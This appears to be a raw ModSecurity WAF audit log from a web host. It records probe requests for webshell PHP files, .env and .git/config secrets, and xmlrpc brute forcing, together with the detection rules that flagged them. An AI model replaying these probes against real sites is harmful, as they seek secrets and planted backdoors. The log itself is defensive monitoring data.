Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19w_831.php"] [unique_id "aqa8YUhjHs68UzErry1J5wAAAIc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312097065293 219065 (- - -)
Stopwatch2: 1789312097065293 219065; combined=65635, p1=191, p2=34213, p3=0, p4=0, p5=15661, sr=76, sw=1, l=0, gc=15569
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--51daec6c-Z--
--3f78073d-A--
[13/Sep/2026:18:08:18.904883 +0300] aqa8Yvut1GUrjaX0wO40bAAAAMQ 216.73.216.19 40346 127.0.0.1 7081
--3f78073d-B--
GET /img/wso_ufo19.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.19
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--3f78073d-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Set-Cookie: 3edd395a10c4893e5a21ace356f6da14key=fac378ac3b3d3886829021b3309d4fd1
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--3f78073d-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/wso_ufo19.php"] [unique_id "aqa8Yvut1GUrjaX0wO40bAAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/wso_ufo19.php"] [unique_id "aqa8Yvut1GUrjaX0wO40bAAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312098869088 35854 (- - -)
Stopwatch2: 1789312098869088 35854; combined=33573, p1=197, p2=33320, p3=0, p4=0, p5=55, sr=78, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--3f78073d-Z--
--f1deb70b-A--
[13/Sep/2026:18:08:20.719736 +0300] aqa8ZPut1GUrjaX0wO40bQAAAM8 216.73.216.19 40354 127.0.0.1 7081
--f1deb70b-B--
GET /img/ufo19p_20539.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.19
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--f1deb70b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 1246c8bf-4715-43bf-89aa-f141c75c18f9
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f1deb70b-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19p_20539.php"] [unique_id "aqa8ZPut1GUrjaX0wO40bQAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19p_20539.php"] [unique_id "aqa8ZPut1GUrjaX0wO40bQAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312100407336 312502 (- - -)
Stopwatch2: 1789312100407336 312502; combined=34964, p1=207, p2=34657, p3=0, p4=0, p5=100, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--f1deb70b-Z--
--c2c3fa4b-A--
[13/Sep/2026:18:08:29.131448 +0300] aqa8bPut1GUrjaX0wO40cwAAAMA 41.143.155.189 54458 127.0.0.1 7081
--c2c3fa4b-B--
GET /.env HTTP/1.1
Host: ihelp.ro
X-Real-IP: 41.143.155.189
X-Accel-Internal: /internal-nginx-static-location
accept: */*
--c2c3fa4b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 6ab8901e-b171-48f9-924f-e4188971a702
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c2c3fa4b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ihelp.ro"] [uri "/.env"] [unique_id "aqa8bPut1GUrjaX0wO40cwAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312108976776 154717 (- - -)
Stopwatch2: 1789312108976776 154717; combined=3167, p1=205, p2=2911, p3=0, p4=0, p5=51, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--c2c3fa4b-Z--
--a4eb4439-A--
[13/Sep/2026:18:08:29.728476 +0300] aqa8bfut1GUrjaX0wO40dAAAANY 41.143.155.189 54460 127.0.0.1 7081
--a4eb4439-B--
GET /.env HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 41.143.155.189
X-Accel-Internal: /internal-nginx-static-location
accept: */*
--a4eb4439-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: f3be7178-34ba-4927-937a-d5c84f967957
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a4eb4439-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "www.ihelp.ro"] [uri "/.env"] [unique_id "aqa8bfut1GUrjaX0wO40dAAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312109559306 169214 (- - -)
Stopwatch2: 1789312109559306 169214; combined=3728, p1=227, p2=3447, p3=0, p4=0, p5=54, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--a4eb4439-Z--
--85f4e346-A--
[13/Sep/2026:18:12:18.629840 +0300] aqa9Uvut1GUrjaX0wO40mgAAANc 202.21.121.117 47284 127.0.0.1 7081
--85f4e346-B--
POST /xmlrpc.php HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 202.21.121.117
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 680
Content-Type: text/xml; charset=utf-8
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.3; x86) AppleWebKit/537.36 (KHTML, like Gecko) Opera/70.0.0.0 Safari/537.36
--85f4e346-C--
metaWeblog.newPost15779457794title0x50c44b1ddescription0x50c44b1dmt_keywords0x50c44b1dmt_excerpt0x50c44b1d1
--85f4e346-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--85f4e346-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/003_i360_2_bruteforce.conf"] [line "196"] [id "33303"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:18-12.202.21.121.117"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312338568439 61473 (- - -)
Stopwatch2: 1789312338568439 61473; combined=63049, p1=309, p2=56364, p3=0, p4=0, p5=3351, sr=97, sw=3025, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--85f4e346-Z--
--e0b2917c-A--
[13/Sep/2026:18:20:53.329654 +0300] aqa-Vfut1GUrjaX0wO41xwAAAMo 143.244.57.121 41716 127.0.0.1 7081
--e0b2917c-B--
GET //xmlrpc.php?rsd HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 143.244.57.121
X-Accel-Internal: /internal-nginx-static-location
Cookie: csrfToken=5sdGkXxNytjVALWH98TZcDVlNzczYzIyODA0YjNmMGQwNzUzYzM2YjQyYTYxNjgwNGU3MGJiN2M%3D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
--e0b2917c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e0b2917c-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/xmlrpc.php"] [unique_id "aqa-Vfut1GUrjaX0wO41xwAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/xmlrpc.php"] [unique_id "aqa-Vfut1GUrjaX0wO41xwAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312853201369 128352 (- - -)
Stopwatch2: 1789312853201369 128352; combined=4004, p1=278, p2=3601, p3=0, p4=0, p5=124, sr=99, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e0b2917c-Z--
--5ee9bb78-A--
[13/Sep/2026:18:20:55.821865 +0300] aqa-V-ut1GUrjaX0wO410wAAAME 154.54.100.175 50296 127.0.0.1 7081
--5ee9bb78-B--
GET /.git/config HTTP/1.1
Host: mail.axapres.ro
X-Real-IP: 154.54.100.175
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept-Charset: utf-8
Accept-Encoding: gzip
--5ee9bb78-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--5ee9bb78-E--
--5ee9bb78-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "mail.axapres.ro"] [uri "/.git/config"] [unique_id "aqa-V-ut1GUrjaX0wO410wAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "mail.axapres.ro"] [uri "/.git/config"] [unique_id "aqa-V-ut1GUrjaX0wO410wAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "mail.axapres.ro"] [uri "/.git/config"] [unique_id "aqa-V-ut1GUrjaX0wO410wAAAME"]
Stopwatch: 1789312855789565 32351 (- - -)
Stopwatch2: 1789312855789565 32351; combined=31336, p1=208, p2=30989, p3=83, p4=7, p5=49, sr=80, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5ee9bb78-Z--
--63d2b006-A--
[13/Sep/2026:18:33:06.809515 +0300] aqbCMkhjHs68UzErry1KaQAAAIc 154.54.100.175 40348 127.0.0.1 7081
--63d2b006-B--
GET /.git/config HTTP/1.1
Host: ns2.happydigital.ro
X-Real-IP: 154.54.100.175
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip
--63d2b006-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--63d2b006-E--
--63d2b006-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ns2.happydigital.ro"] [uri "/.git/config"] [unique_id "aqbCMkhjHs68UzErry1KaQAAAIc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ns2.happydigital.ro"] [uri "/.git/config"] [unique_id "aqbCMkhjHs68UzErry1KaQAAAIc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ns2.happydigital.ro"] [uri "/.git/config"] [unique_id "aqbCMkhjHs68UzErry1KaQAAAIc"]
Stopwatch: 1789313586770418 39280 (- - -)
Stopwatch2: 1789313586770418 39280; combined=35604, p1=252, p2=35032, p3=201, p4=13, p5=106, sr=117, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--63d2b006-Z--
--8ab0b52f-A--
[13/Sep/2026:18:33:07.064675 +0300] aqbCMldqBhgxDSpG7haK@wAAAEc 154.54.100.175 40360 127.0.0.1 7081
--8ab0b52f-B--
GET /.git/config HTTP/1.1
Host: ns2.happy-digital.ro
X-Real-IP: 154.54.100.175
User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 635) like Gecko
Accept-Charset: utf-8
Accept-Encoding: gzip
--8ab0b52f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--8ab0b52f-E--
--8ab0b52f-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ns2.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqbCMldqBhgxDSpG7haK@wAAAEc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ns2.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqbCMldqBhgxDSpG7haK@wAAAEc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ns2.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqbCMldqBhgxDSpG7haK@wAAAEc"]
Stopwatch: 1789313586942061 122659 (- - -)
Stopwatch2: 1789313586942061 122659; combined=121412, p1=261, p2=120993, p3=95, p4=6, p5=56, sr=92, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8ab0b52f-Z--
--e859460f-A--
[13/Sep/2026:18:33:08.022656 +0300] aqbCM-ut1GUrjaX0wO428gAAANc 154.54.100.175 40364 127.0.0.1 7081
--e859460f-B--
GET /.git/config HTTP/1.1
Host: ns2.happydigital.co.uk
X-Real-IP: 154.54.100.175
User-Agent: HTC_Dream Mozilla/5.0 (Linux; U; Android 1.5; en-ca; Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1
Accept-Charset: utf-8
Accept-Encoding: gzip
--e859460f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--e859460f-E--
--e859460f-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
